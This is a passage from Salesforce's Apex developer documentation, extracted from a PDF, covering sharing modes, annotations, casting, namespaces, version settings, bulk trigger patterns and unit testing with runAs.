public with sharing class CWith { // All code in this class operates with enforced sharing rules. Account a = [select . . . ]; public static void m() { . . . } static { . . . } { . . . } public c() { . . . } } public without sharing class CWithout { // All code in this class ignores sharing rules and operates // as if the context user has the Modify All Data permission. Account a = [select . . . ]; . . . public static void m() { . . . // This call into CWith operates with enforced sharing rules // for the context user. When the call finishes, the code execution // returns to without sharing mode. CWith.m(); } public class CInner { // All code in this class executes with the same sharing context // as the code that calls it. // Inner classes are separate from outer classes. . . . // Again, this call into CWith operates with enforced sharing rules // for the context user, regardless of the class that initially called this inner class. // When the call finishes, the code execution returns to the sharing mode that was used to call this inner class.

106

Classes, Objects, and Interfaces

Annotations

CWith.m(); } public class CInnerWithOut exends CWithout { // All code in this class ignores sharing rules because // this class extends a parent class that ignores sharing rules. } }

Caution: There is no guarantee that a class declared as with sharing does not call a script that operates as without sharing. Class-level security is always still necessary. In addition, all SOQL or SOSL queries that use PriceBook2 ignore the with sharing keyword. All PriceBook records are returned, regardless of the applied sharing rules. Enforcing the current user's sharing rules can impact: SOQL and SOSL queries. A query may return fewer rows than it would operating in system context. DML operations. An operation may fail because the current user does not have the correct permissions. For example, if the user specifies a foreign key value that exists in the organization, but which the current user does not have access to.

Annotations
An Apex annotation modifies the way a method or class is used, similar to annotations in Java. Annotations are defined with an initial @ symbol, followed by the appropriate keyword. To add an annotation to a method, specify it immediately before the method or class definition. For example:

global class MyClass { @future Public static void myMethod(String a) { //long-running Apex code } }

Apex supports the following annotations:

future isTest deprecated

Future
Use the future annotation to identify methods that are executed asynchronously. When you specify future, the method executes when Salesforce.com has available resources. For example, you can use the future annotation when making an asynchronous Web service callout to an external service. Without the annotation, the Web service callout is made from the same thread that is executing the Apex script, and no additional processing can occur until the callout is complete (synchronous processing). Methods with the future annotation must be static methods, and can only return a void type. To make a method in a class execute asynchronously, define the method with the future annotation. For example:
global class MyFutureClass {

107

Classes, Objects, and Interfaces

IsTest

@future static void myMethod(String a, Integer i) { System.debug('Method called with: ' + a + ' and ' + i); //do callout, other long running code } }

The following snippet shows how to specify that a method executes a callout:
@future (callout=true) public static void doCalloutFromFuture() { //Add code to perform callout }

You can specify (callout=false) to prevent a method from making callouts. To test methods defined with the future annotation, call the class containing the method in a startTest, stopTest code block. All asynchronous calls made after the startTest method are collected by the system. When stopTest is executed, all asynchronous processes are run synchronously. Methods with the future annotation have the following limits: No more than 10 method calls per Apex invocation Note: Asynchronous calls, such as @future or executeBatch, called in a startTest, stopTest block, do not count against your limits for the number of queued jobs. No more than 200 method calls per Salesforce.com license per 24 hours The parameters specified must be primitive dataypes, arrays of primitive datatypes, or collections of primitive datatypes. Methods with the future annotation cannot take sObjects or objects as arguments. Methods with the future annotation cannot be used in Visualforce controllers in either getMethodName or setMethodName methods, nor in the constructor.

Remember that any method using the future annotation requires special consideration, because the method does not necessarily execute in the same order it is called. You cannot call a method annotated with future from a method that also has the future annotation. Nor can you call a trigger from an annotated method that calls another annotated method.

IsTest
Use the isTest annotation to define classes or individual methods that only contain code used for testing your application. The isTest annotation is similar to creating methods declared as testMethod. Note: Classes defined with the isTest annotation do not count against your organization limit of 1 MB for all Apex scripts. Individual methods defined with the isTest annotation do count against your organization limits. For more information, see Understanding Execution Governors and Limits on page 166. Classes and methods defined as isTest must be declared as private. For example:
@isTest private class MyTest { // Methods for testing }

Classes defined as isTest cannot be interfaces or enums.

108

Classes, Objects, and Interfaces

Deprecated

A class defined as isTest can only be invoked using the Force.com runTests() API call, or from the Salesforce.com user interface (using the Run Tests button). You cannot call it from another class or trigger.

Deprecated
Use the deprecated annotation to identify methods, classes, exceptions, enums, interfaces, or variables that can no longer be referenced in subsequent releases of the managed package in which they reside. This is useful when you are refactoring code in managed packages as the requirements evolve. New subscribers cannot see the deprecated elements, while the elements continue to function for existing subscribers and API integrations. The following code snippet shows a deprecated method. The same syntax can be used to deprecate classes, exceptions, enums, interfaces, or variables.
@deprecated // This method is deprecated. Use myOptimizedMethod(String a, String b) instead. public void myMethod(String a) { }

Note the following rules when deprecating Apex identifiers: Unmanaged packages cannot contain code that uses the deprecated keyword. When an identifier or custom object is deprecated, all global identifiers that reference the deprecated identifier must also be deprecated. Any global method that uses the deprecated type in its signature, either in an input argument or the method return type, must also be deprecated. A deprecated identifier can still be referenced internally by the package developer. webService methods and variables cannot be deprecated. You can deprecate an enum but you cannot deprecate individual enum values. You can deprecate an interface but you cannot deprecate individual methods in an interface. You can deprecate an abstract class but you cannot deprecate individual abstract methods in an abstract class. You cannot remove the deprecated annotation to undeprecate an Apex identifier after you have released a package version where the identifier is deprecated.

For more information about package versions, see Developing Apex in Managed Packages on page 170.

Classes and Casting

In general, all type information is available at runtime. This means that Apex enables casting, that is, a data type of one class can be assigned to a data type of another class, but only if one class is a child of the other class. Use casting when you want to convert an object from one data type to another. In the following example, CustomReport extends the class Report. Therefore, it is a child of that class. This means that you can use casting to assign objects with the parent data type (Report) to the objects of the child data type (CustomReport). In the following code block, first, a custom report object is added to a list of report objects. After that, the custom report object is returned as a report object, then is cast back into a custom report object.
Public virtual class Report { Public class CustomReport extends Report { // Create a list of report objects Report[] Reports = new Report[5]; // Create a custom report object CustomReport a = new CustomReport();

109

Classes, Objects, and Interfaces

Classes and Casting

// Because the custom report is a sub class of the Report class, // you can add the custom report object a to the list of report objects Reports.add(a); // // // // The following is not legal, because the compiler does not know that what you are returning is a custom report. You must use cast to tell it that you know what type you are returning CustomReport c = Reports.get(0);

// Instead, get the first item in the list by casting it back to a custom report object CustomReport c = (CustomReport) Reports.get(0); } }

Figure 7: Casting Example In addition, an interface type can be cast to a sub-interface or a class type that implements that interface. Tip: To verify if a class is a specific type of class, use the instanceOf keyword. For more information, see Using the instanceof Keyword on page 103.

110

Classes, Objects, and Interfaces

Classes and Collections

Classes and Collections

Lists and maps can be used with classes and interfaces, in the same ways that lists and maps can be used with sObjects. This means, for example, that you can use a user-defined data type only for the value of a map, not for the key. Likewise, you cannot create a set of user-defined objects. If you create a map or list of interfaces, any child type of the interface can be put into that collection. For instance, if the List contains an interface i1, and MyC implements i1, then MyC can be placed in the list.

Collection Casting
Because collections in Apex have a declared type at runtime, Apex allows collection casting. Collections can be cast in a similar manner that arrays can be cast in Java. For example, a list of CustomerPurchaseOrder objects can be assigned to a list of PurchaseOrder objects if class CustomerPurchaseOrder is a child of class PurchaseOrder.
public virtual class PurchaseOrder { Public class CustomerPurchaseOrder extends PurchaseOrder { } { List<PurchaseOrder> POs = new PurchaseOrder[] {}; List<CustomerPurchaseOrder> CPOs = new CustomerPurchaseOrder[]{}; POs = CPOs;} }

Once the CustomerPurchaseOrder list is assigned to the PurchaseOrder list variable, it can be cast back to a list of CustomerPurchaseOrder objects, but only because that instance was originally instantiated as a list of CustomerPurchaseOrder. A list of PurchaseOrder objects that is instantiated as such cannot be cast to a list of CustomerPurchaseOrder objects, even if the list of PurchaseOrder objects contains only CustomerPurchaseOrder objects. If the user of a PurchaseOrder list that only includes CustomerPurchaseOrders objects tries to insert a non-CustomerPurchaseOrder subclass of PurchaseOrder (such as InternalPurchaseOrder), a runtime exception results. This is because Apex collections have a declared type at runtime. Note: Maps behave in the same way as lists with regards to the value side of the Mapif the value side of map A can be cast to the value side of map B, and they have the same key type, then map A can be cast to map B. A runtime error results if the casting is not valid with the particular map at runtime.

Differences Between Apex Classes and Java Classes

The following is a list of the major differences between Apex classes and Java classes: Inner classes and interfaces can only be declared one level deep inside an outer class. Static methods and variables can only be declared in a top-level class definition, not in an inner class. Inner classes behave like static Java inner classes, but do not require the static keyword. Inner classes can have instance member variables like outer classes, but there is no implicit pointer to an instance of the outer class (using the this keyword). The private access modifier is the default, and means that the method or variable is accessible only within the Apex class in which it is defined. If you do not specify an access modifier, the method or variable is private. Specifying no access modifier for a method or variable and the private access modifier are synonymous. The public access modifier means the method or variable can be used by any Apex in this application or namespace.

111

Classes, Objects, and Interfaces

Class Definition Creation

The global access modifier means the method or variable can be used by any Apex script that has access to the class, not just the Apex scripts in the same application. This access modifier should be used for any method that needs to be referenced outside of the application, either in the Force.com Web Services API or by other Apex scripts. If you declare a method or variable as global, you must also declare the class that contains it as global. Methods and classes are final by default. The virtual definition modifier allows extension and overrides. The override keyword must be used explicitly on methods that override base class methods.

Interface methods have no modifiersthey are always global. Exception classes must extend either exception or another user-defined exception. Their names must end with the word exception. Exception classes have four implicit constructors that are built-in, although you can add others.

For more information, see Exception Class on page 302. Classes and interfaces can be defined in triggers and anonymous blocks, but only as local identifiers.

Class Definition Creation

To create a class in Salesforce.com: 1. In the application, click Setup Develop Apex Classes. 2. Click New. 3. Click Version Settings to specify the version of Apex and the API used with this class. If your organization has installed managed packages from the AppExchange, you can also specify which version of each managed package to use with this class. Generally, you should use the default values for all versions. This associates the class with the most recent version of Apex and the API, as well as each managed package. You can specify an older version of a managed package if you want to access components or functionality that differs from the most recent package version. You can specify an older version of Apex and the API to maintain specific behavior. 4. In the Body text box, enter the Apex for the class. A single class can be up to 100,000 characters in length. 5. Click Save to save your changes and return to the class detail screen, or click Quick Save to save your changes and continue editing your class. Your Apex script must compile correctly before you can save your class. Classes can also be automatically generated from a WSDL by clicking Generate from WSDL. See SOAP Services: Defining a Class from a WSDL Document on page 179. Once saved, classes can be invoked through class methods or variables by any other Apex script. Note: To aid backwards-compatibility, classes are stored with the version settings for a specified version of Apex and the API. If the Apex class references components, such as a custom object, in installed managed packages, the version settings for each managed package referenced by the class is saved too. Additionally, classes are stored with an isValid flag that is set to true as long as dependent metadata has not changed since the class was last compiled. If any changes are made to object names or fields that are used in the class, including superficial changes such as edits to an object or field description, or if changes are made to a class that calls this class, the isValid flag is set to false. When a trigger or Web service call invokes the class, the code is recompiled and the user is notified if there are any errors. If there are no errors, the isValid flag is reset to true. The Apex Class Editor When editing Visualforce or Apex, either in the Visualforce development mode footer or from within setup, an editor is available with the following functionality:

112

Classes, Objects, and Interfaces

Naming Conventions

Syntax highlighting The editor automatically applies syntax highlighting for keywords and all functions and operators. Search ( ) Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the search textbox and click find next. To replace a found search string with another string, enter the new string in the replace textbox and click replace to replace just that instance, or replace all to replace that instance and all other instances of the search string that occur in the page, class, or trigger. To make the search operation case sensitive, select the match case option. To use a regular expression as your search string, select the regular expressions option. The regular expressions follow JavaScript's regular expression rules. A search using regular expressions can find strings that wrap over more than one line. If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular expression group variables ($1, $2, and so on) from the found search string. For example, to replace an <H1> tag with an <H2> tag and keep all the attributes on the original <H1> intact, search for <H1(\s+)(.*)> and replace it with <H2$1$2>.

Go to line ( ) This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that line. Undo( ) and Redo ( ) Use undo to reverse an editing action and redo to recreate an editing action that was undone. Font size Select a font size from the drop-down list to control the size of the characters displayed in the editor. Line and column position The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used with go to line ( ) to quickly navigate through the editor.

Line and character count The total number of lines and characters is displayed in the status bar at the bottom of the editor.

Naming Conventions
Salesforce.com recommends following Java standards for naming, that is, classes start with a capital letter, methods start with a lowercase verb, and variable names should be meaningful. It is not legal to define a class and interface with the same name in the same class. It is also not legal for an inner class to have the same name as its outer class. However, methods and variables have their own namespaces within the class so these three types of names do not clash with each other. In particular it is legal for a variable, method, and a class within a class to have the same name.

113

Classes, Objects, and Interfaces

Name Shadowing

Name Shadowing
Member variables can be shadowed by local variablesin particular function arguments. This allows methods and constructors of the standard Java form:
Public Class Shadow { String s; Shadow(String s) { this.s = s; } // Same name ok setS(String s) { this.s = s; } // Same name ok }

Member variables in one class can shadow member variables with the same name in a parent classes. This can be useful if the two classes are in different top-level classes and written by different teams. For example, if one has a reference to a class C and wants to gain access to a member variable M in parent class P (with the same name as a member variable in C) the reference should be assigned to a reference to P first. Static variables can be shadowed across the class hierarchyso if P defines a static S, a subclass C can also declare a static S. References to S inside C refer to that staticin order to reference the one in P, the syntax P.S must be used. Static class variables cannot be referenced through a class instance. They must be referenced using the raw variable name by itself (inside that top-level class file) or prefixed with the class name. For example:
public class p1 { public static final Integer CLASS_INT = 1; public class c { }; } p1.c c = new p1.c(); // This is illegal // Integer i = c.CLASS_INT; // This is correct Integer i = p1.CLASS_INT; }

Class Security
You can specify which users can execute methods in a particular top-level class based on their user profile. Note that you can only set security on Apex classes, not on triggers. To set Apex class security from the class list page: 1. 2. 3. 4. 5. Click Setup Develop Apex Classes. Next to the name of the class that you want to restrict, click Security. Select the profiles that you want to enable from the Available Profiles list and click Add. Select the profiles that you want to disable from the Enabled Profiles list and click Remove. Click Save.

To set Apex class security from the profile detail page: 1. 2. 3. 4. 5. Click Setup Manage Users Profiles. Click the name of the profile you want to modify. In the Enabled Apex Class Access related list, click Edit. Select the Apex classes that you want to enable from the Available Apex Classes list and click Add. Select the Apex classes that you want to disable from the Enabled Apex Classes list and click Remove.

114

Classes, Objects, and Interfaces

Namespace Prefix

6. Click Save.

Namespace Prefix
The application supports the use of namespace prefixes. Namespace prefixes are used in managed Force.com AppExchange packages to differentiate custom object and field names from those in use by other organizations. After a developer registers a globally unique namespace prefix and registers it with AppExchange registry, external references to custom object and field names in the developer's managed packages take on the following long format:
namespace_prefix__obj_or_field_name__c

Because these fully-qualified names can be onerous to update in working SOQL statements, SOSL statements, and Apex once a class is marked as managed, Apex supports a default namespace for schema names. When looking at identifiers, the parser considers the namespace of the current object and then assumes that it is the namespace of all other objects and fields unless otherwise specified. Consequently, a stored class should refer to custom object and field names directly (using obj_or_field_name__c) for those objects that are defined within its same application namespace. Tip: Only use namespace prefixes when referring to custom objects and fields in managed packages that have been installed to your organization from theAppExchange.

Using Namespaces When Invoking Methods

To invoke a method that is defined in a managed package, Apex allows fully-qualified identifiers of the form:
namespace_prefix.class.method(args)

Use the special namespace System to disambiguate the built-in static classes from any user-defined ones (for example, System.System.debug()). Without the System namespace prefix, system static class names such as Math and System can be overridden by user-defined classes with the same name, as outlined, below. Tip: Only use namespace prefixes when invoking methods in managed packages that have been installed to your organization from theAppExchange.

Namespace, Class, and Variable Name Precedence

Because local variables, class names, and namespaces can all hypothetically use the same identifiers, the Apex parser evaluates expressions in the form of name1.name2.[...].nameN as follows: 1. The parser first assumes that name1 is a local variable with name2 - nameN as field references. 2. If the first assumption does not hold true, the parser then assumes that name1 is a class name and name2 is a static variable name with name3 - nameN as field references. 3. If the second assumption does not hold true, the parser then assumes that name1 is a namespace name, name2 is a class name, name3 is a static variable name, and name4 - nameN are field references. 4. If the third assumption does not hold true, the parser reports an error. If the expression ends with a set of parentheses (for example, name1.name2.[...].nameM.nameN()), the Apex parser evaluates the expression as follows:

115

Classes, Objects, and Interfaces

Type Resolution and System Namespace for Types

1. The parser first assumes that name1 is a local variable with name2 - nameM as field references, and nameN as a method invocation. 2. If the first assumption does not hold true: If the expression contains only two identifiers (name1.name2()), the parser then assumes that name1 is a class name and name2 is a method invocation. If the expression contains more than two identifiers, the parser then assumes that name1 is a class name, name2 is a static variable name with name3 - nameM as field references, and nameN is a method invocation.

3. If the second assumption does not hold true, the parser then assumes that name1 is a namespace name, name2 is a class name, name3 is a static variable name, name4 - nameM are field references, and nameN is a method invocation. 4. If the third assumption does not hold true, the parser reports an error. However, with class variables Apex also uses dot notation to reference member variables. Those member variables might refer to other class instances, or they might refer to an sObject which has its own dot notation rules to refer to field names (possibly navigating foreign keys). Once you enter an sObject field in the expression, the remainder of the expression stays within the sObject domain, that is, sObject fields cannot refer back to Apex expressions. For instance, if you have the following class:
public class c { c1 c1 = new c1(); class c1 { c2 c2; } class c2 { Account a; } }

Then the following expressions are all legal:

c.c1.c2.a.name c.c1.c2.a.owner.lastName.toLowerCase() c.c1.c2.a.tasks c.c1.c2.a.contacts.size()

Type Resolution and System Namespace for Types

Because the type system must resolve user-defined types defined locally or in other classes, the Apex parser evaluates types as follows: 1. 2. 3. 4. For a type reference TypeN, the parser first looks up that type as a scalar type. If TypeN is not found, the parser looks up locally defined types. If TypeN still is not found, the parser looks up a class of that name. If TypeN still is not found, the parser looks up system types such as sObjects.

For the type T1.T2 this could mean an inner type T2 in a top-level class T1, or it could mean a top-level class T2 in the namespace T1 (in that order of precedence).

Version Settings
To aid backwards-compatibility, classes and triggers are stored with the version settings for a specific Salesforce.com API version. If an Apex class or trigger references components, such as a custom object, in installed managed packages, the version settings for each managed package referenced by the class are saved too. This ensures that as Apex, the API, and the components

116

Classes, Objects, and Interfaces

Setting the Salesforce.com API Version for Classes and Triggers

in managed packages evolve in subsequent released versions, a class or trigger is still bound to versions with specific, known behavior. Setting a version for an installed package determines the exposed interface and behavior of any Apex code in the installed package. This allows you to continue to reference Apex that may be deprecated in the latest version of an installed package, if you installed a version of the package before the code was deprecated. Typically, you reference the latest Salesforce.com API version and each installed package version. If you save an Apex class or trigger without specifying the Salesforce.com API version, the class or trigger is associated with the latest installed version by default. If you save an Apex class or trigger that references a managed package without specifying a version of the managed package, the class or trigger is associated with the latest installed version of the managed package by default.

Setting the Salesforce.com API Version for Classes and Triggers

To set the Salesforce.com API and Apex version for a class or trigger: 1. Edit either a class or trigger, and click Version Settings. 2. Select the Version of the Salesforce.com API. This is also the version of Apex associated with the class or trigger. 3. Click Save. If you pass an object as a parameter in a method call from one Apex class, C1, to another class, C2, and C2 has different fields exposed due to the Salesforce.com API version setting, the fields in the objects are controlled by the version settings of C2. Using the following example, the Categories field is set to null after calling the insertIdea method in class C2 from a method in the test class C1, because the Categories field is not available in version 13.0 of the API. The first class is saved using Salesforce.com API version 13.0:
// This class is saved using Salesforce API version 13.0 // Version 13.0 does not include the Idea.categories field global class C2 { global Idea insertIdea(Idea a) { insert a; // category field set to null on insert // retrieve the new idea Idea insertedIdea = [SELECT title FROM Idea WHERE Id =:a.id]; return insertedIdea; } }

The following class is saved using Salesforce.com API version 16.0:

@isTest // This class is bound to API version 16.0 by Version Settings private class C1 { static testMethod void testC2Method() { Idea i = new Idea(); i.CommunityId = '09aD000000004YCIAY'; i.Title = 'Testing Version Settings'; i.body = 'Categories field is included in API version 16.0'; i.categories = 'test'; C2 c2 = new C2(); Idea returnedIdea = c2.insertIdea(i); // retrieve the new idea Idea ideaMoreFields = [SELECT title, categories FROM Idea WHERE Id = :returnedIdea.id]; // assert that the categories field from the object created

117

Classes, Objects, and Interfaces

Setting Package Versions for Apex Classes and Triggers

// in this class is not null System.assert(i.categories != null); // assert that the categories field created in C2 is null System.assert(ideaMoreFields.categories == null); } }

Setting Package Versions for Apex Classes and Triggers

To configure the package version settings for a class or trigger: 1. Edit either a class or trigger, and click Version Settings. 2. Select a Version for each managed package referenced by the class or trigger. This version of the managed package will continue to be used by the class or trigger if later versions of the managed package are installed, unless you manually update the version setting. To add an installed managed package to the settings list, select a package from the list of available packages. The list is only displayed if you have an installed managed package that is not already associated with the class or trigger. 3. Click Save. Note the following when working with package version settings: If you save an Apex class or trigger that references a managed package without specifying a version of the managed package, the Apex class or trigger is associated with the latest installed version of the managed package by default. You cannot Remove a class or trigger's version setting for a managed package if the package is referenced in the class or trigger. Use Show Dependencies to find where a managed package is referenced by a class or trigger.

118

Chapter 5
Apex Design Patterns
Like all programming languages, developers can use either good or bad design patterns. The purpose of this chapter is to illustrate the difference between the two, highlighting best practices and identifying common pitfalls.

Triggers and Bulk Requests

A common development pitfall is the assumption that trigger invocations never include more than one record. Apex triggers are optimized to operate in bulk, which, by definition, requires developers to write logic that supports bulk operations. The following is an example of a flawed programming pattern. It assumes that only one record is pulled in during a trigger invocation. While this might support most user interface events, it does not support bulk operations invoked through the Force.com Web services API or Visualforce.
trigger MileageTrigger on Mileage__c (before insert, before update) { user c = [SELECT Id FROM user where mileageid__c =trigger.new[0].id]; }

The following is another example of a flawed programming pattern. It assumes that less than 20 records are pulled in during a trigger invocation. If more than 20 records are pulled into this request, the trigger would exceed the SOQL query limit of 20 SELECT statements inside a trigger:
trigger MileageTrigger on Mileage__c (before insert, before update) { for(mileage__c m : trigger.new){ user c = [SELECT Id FROM user where mileageid__c =m.id]; }

For more information on governor limits, see Understanding Execution Governors and Limits on page 166. The following example demonstrates the correct pattern to support the bulk nature of triggers while respecting the governor limits:
Trigger MileageTrigger on Mileage__c (before insert, before update) { set<ID> ids = Trigger.new.keySet(); list<user> c = [SELECT Id FROM user WHERE mileageid__c in :ids]; }

This pattern respects the bulk nature of the trigger by passing the Trigger.new collection to a set, then using the set in a single SOQL query. This pattern captures all incoming records within the request while limiting the number of SOQL queries. Best Practices for Designing Bulk Programs The following are the best practices for this design pattern:

119

Apex Design Patterns

Triggers and Bulk Requests

Minimize the number of data manipulation language (DML) operations by adding records to collections and performing DML operations against these collections. Minimize the number of SOQL statements by preprocessing records and generating sets, which can be placed in single SOQL statement used with the IN clause.

120

Chapter 6
Testing Apex
In this chapter ... Understanding Testing in Apex Unit Testing Apex Running Unit Test Methods Testing Best Practices Testing Example
This chapter provides an overview of what to test, as well as the tools that are available on the Force.com platform for testing Apex. Understanding Testing in Apex Unit Testing Apex Running Unit Test Methods Testing Best Practices Testing Example

121

Testing Apex

Understanding Testing in Apex

Understanding Testing in Apex

Testing is the key to successful long term development. salesforce.com strongly recommends that you use a test-driven development process, that is, development that occurs at the same time as code development. Testing is a critical component of the development process.

Why Test Apex?

Testing is key to the success of your application, particularly if your application is to be deployed to customers. If you validate that your application works as expected, that there are no unexpected behaviors, your customers are going to trust you more. There are two ways of testing an application. One is through the Salesforce.com user interface. This is important, but merely testing through the user interface will not catch all of the use cases for your application. You also need to test for bulk functionality: up to 200 records could be passed through your code if it's invoked using the Force.com Web services API or by a Visualforce standard set controller. An application is seldom finished. You will have additional releases of it, where you change and extend functionality. If you have written comprehensive tests, you can ensure that a regression is not introduced with any new functionality. Before you can deploy your code or package it for the Force.com AppExchange, the following must be true: 75% of your Apex scripts are covered by unit tests, and all of those tests complete successfully. Note the following: When deploying to a production organization, every unit test in your organization namespace is executed. Calls to System.debug are not counted as part of Apex code coverage in unit tests. While only 75% of your Apex scripts must be covered, the goal is to achieve 100% coverage

Every trigger has some test coverage. All classes and triggers compile successfully. Note: Calls to System.debug are not counted as part of Apex code coverage in unit tests.

Salesforce.com runs all tests in all organizations with Apex scripts to verify that no behavior has been altered as a result of any service upgrades.

What to Test in Apex

salesforce.com recommends that you write tests for the following: Single action Test to verify that a single record produces the correct, expected result. Bulk actions Every Apex script, whether a trigger, a class or an extension, may be invoked for 1 to 200 records. You must test not only the single record case, but the bulk cases as well. Positive behavior Test to verify that the expected behavior occurs through every expected permutation, that is, that the user filled out everything correctly and did not go past the limits.

122

Testing Apex

Unit Testing Apex

Negative behavior There are likely limits to your applications, such as not being able to add a future date, not being able to specify a negative amount, and so on. You must test for the negative case and verify that the error messages are correctly produced as well as for the positive, within the limits cases. Restricted user Test whether a user with restricted access to the sObjects used in your code gets the expected behavior (whether can run the code or received error messages.) Note: Conditional and ternary operators are not considered executed unless both the positive and negative branches are executed. For examples of these types of tests, see Testing Example on page 128.

Unit Testing Apex

To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are class methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit no data to the database, send no emails, and are flagged with the testMethod keyword in the method definition. For example:
public class myClass { static testMethod void myTest() { code_block } }

Note: Test methods cannot be used to test Web service callouts. Web service callouts are asynchronous, while unit tests are synchronous.

Using the runAs Method

Generally, all Apex scripts run in system mode, and the permissions and record sharing of the current user are not taken into account. The system method runAs enables you to write test methods that change either the user contexts to an existing user or a new user, or to run using the code from a specific version of a managed package. When running as a user, all of that user's record sharing is then enforced. You can only use runAs in a test method. The original system context is started again after all runAs test methods complete. For information on using the runAs method and specifying a package version context, see Testing Behavior in Package Versions on page 173. Note: Only 20 calls to runAs specifying a user are allowed in a transaction.

In the following example, a new test user is created, then code is run as that user, with that user's permissions and record access:
public class TestRunAs { public static testMethod void testRunAs() { // Setup test data // This code runs as the system user

123

Testing Apex

Using Limits, startTest, and stopTest

Profile p = [select id from profile where name='Standard User']; User u = new User(alias = 'standt', email='[email protected]', emailencodingkey='UTF-8', lastname='Testing', languagelocalekey='en_US', localesidkey='en_US', profileid = p.Id, timezonesidkey='America/Los_Angeles', username='[email protected]'); System.runAs(u) { // The following code runs as user 'u' System.debug('Current User: ' + UserInfo.getUserName()); System.debug('Current Profile: ' + UserInfo.getProfileId()); } } }

You can nest more than one runAs method. For example:
public class TestRunAs2 { public static testMethod void test2() { Profile p = [SELECT Id FROM profile WHERE name='Standard User']; User u2 = new User(alias = 'newUser', email='[email protected]', emailencodingkey='UTF-8', lastname='Testing', languagelocalekey='en_US', localesidkey='en_US', profileid = p.Id, timezonesidkey='America/Los_Angeles', username='[email protected]'); System.runAs(u2) { // The following code runs as user u2. System.debug('Current User: ' + UserInfo.getUserName()); System.debug('Current Profile: ' + UserInfo.getProfileId()); // The following code runs as user u3. User u3 = [select id from user where username='[email protected]']; System.runAs(u3) { System.debug('Current User: ' + UserInfo.getUserName()); System.debug('Current Profile: ' + UserInfo.getProfileId()); } // Any additional code here would run as user u2. } } }

Best Practices for Using runAs The following items use the permissions granted by the user specified with runAs running as a specific user: Dynamic Apex Methods using with sharing or without sharing Shared records

The original permissions are reset after runAs completes. The runAs method ignores user license limits.You can create new users with runAs even if your organization has no additional user licenses.

Using Limits, startTest, and stopTest

The Limits methods return the specific limit for the context in which they are being executed, that is, from a trigger, a Web service method, and so on.

124

Testing Apex

Adding SOSL Queries to Unit Tests

There are two versions of every method: the first returns the amount of the resource that has been used in the current context, while the second version contains the word limit and returns the total amount of the resource that is available for that context. For example, getCallouts returns the number of callouts to an external service that have already been processed in the current context, while getLimitCallouts returns the total number of callouts available in the given context. In addition to the Limits methods, use the startTest and stopTest methods to validate how close the code is to reaching governor limits. The startTest method marks the point in your test code when your test actually begins. Each testMethod is allowed to call this method only once. All of the code before this method should be used to initialize variables, populate data structures, and so on, allowing you to set up everything you need in order to run your test. After you call this method, the limits that get applied are based on either the first DML statement (like INSERT, DELETE, and so on) or the first Web service invocation. The startTest method does not refresh the context of the test: it adds a context to your test. For example, if your class makes 98 SOQL queries before it calls startTest, and the first significant statement after startTest is a DML statement, the program can now make an additional 100 queries. Once stopTest is called, however, the program goes back into the original context, and can only make 2 additional SOQL queries before reaching the limit of 100. The stopTest method marks the point in your test code when your test ends. Use this method in conjunction with the startTest method. Each testMethod is allowed to call this method only once. After calling this method, any post assertions are done in the original context. All asynchronous calls made after the startTest method are collected by the system. When stopTest is executed, all asynchronous processes are run synchronously.

Adding SOSL Queries to Unit Tests

To ensure that test methods always behave in a predictable way, any Salesforce.com Object Search Language (SOSL) query that is added to an Apex test method returns an empty set of search results when the test method executes. If you do not want the query to return an empty list of results, you can use the Test.setFixedSearchResults system method to define a list of record IDs that are returned by the search. All SOSL queries that take place later in the test method return the list of record IDs that were specified by the Test.setFixedSearchResults method. Additionally, the test method can call Test.setFixedSearchResults multiple times to define different result sets for different SOSL queries. If you do not call the Test.setFixedSearchResults method in a test method, or if you call this method without specifying a list of record IDs, any SOSL queries that take place later in the test method return an empty list of results. The list of record IDs specified by the Test.setFixedSearchResults method replaces the results that would normally be returned by the SOSL query if it were not subject to any WHERE or LIMIT clauses. If these clauses exist in the SOSL query, they are applied to the list of fixed search results. For example:
public class SoslFixedResultsTest1 { public static testMethod void testSoslFixedResults() { Id [] fixedSearchResults= new Id[1]; fixedSearchResults[0] = '001x0000003G89h'; Test.setFixedSearchResults(fixedSearchResults); List<List<SObject>> searchList = [FIND 'test' IN ALL FIELDS RETURNING Account(id, name WHERE name = 'test' LIMIT 1)]; } }

Although the account record with an ID of 001x0000003G89h may not match the query string in the FIND clause ('test'), the record is passed into the RETURNING clause of the SOSL statement. If the record with ID 001x0000003G89h matches the WHERE clause filter, the record is returned. If it does not match the WHERE clause, no record is returned.

125

Testing Apex

Running Unit Test Methods

Running Unit Test Methods

You can run the unit tests for your Apex scripts using the Salesforce.com user interface. You can run unit tests for a specific class or you can run all the unit tests in your organization. Unit test methods take no arguments, commit no data to the database, send no emails, and are flagged with the testMethod keyword in the method definition. To run the unit tests for a specific class, click Setup Develop Apex Classes, click the name of the class, then click Run Test. If your class calls another class or causes a trigger to execute, those Apex scripts are included in the total amount used for calculating the percentage of code covered. To run all the unit tests in your organization, click Setup Develop Apex Classes, then click Run All Tests. The result page for running unit tests contains the following sections. Each section can be expanded or collapsed. A summary section that details the number of tests run, the number of failures, and the percentage of Apex scripts that are covered by unit tests Important: You must have at least 75% of your Apex scripts covered by unit tests to deploy your scripts to production environments. In addition, all triggers should have some test coverage. Salesforce.com recommends that you have 100% of your scripts covered by unit tests, where possible. Calls to System.debug are not counted as part of Apex code coverage in unit tests.

Test failures, if any A code coverage section This section lists all the classes and triggers in your organization and the percentage of lines of code in each class and trigger that are covered by tests. If you click on the coverage percent number, a page displays, highlighting all the lines of code for that class or trigger that are covered by tests in blue, as well as highlighting all the lines of code that are not covered by tests in red. It also lists how many times a particular line in the class or trigger was executed by the test.

Test coverage warnings, if any The debug log The debug log is automatically set to the PROFILE log level. You cannot change the log level. The PROFILE log level includes log messages generated by calls to the System.debug method, every DML statement or inline SOQL or SOSL query, and the entrance and exit of every user-defined method. In addition, the end of the debug log contains overall profiling information for the portions of the request that used the most resources, in terms of SOQL and SOSL statements, DML operations, and Apex method invocations. These three sections list the locations in the code that consumed the most time, in descending order of total cumulative time, along with the number of times they were executed.

In addition, you can execute tests with the Force.com IDE (see https://wiki.apexdevnet.com/index.php/Apex_Toolkit_for_Eclipse). You can also use the runTests() call from the Force.com Web Services API:
RunTestsResult[] runTests(RunTestsRequest ri)

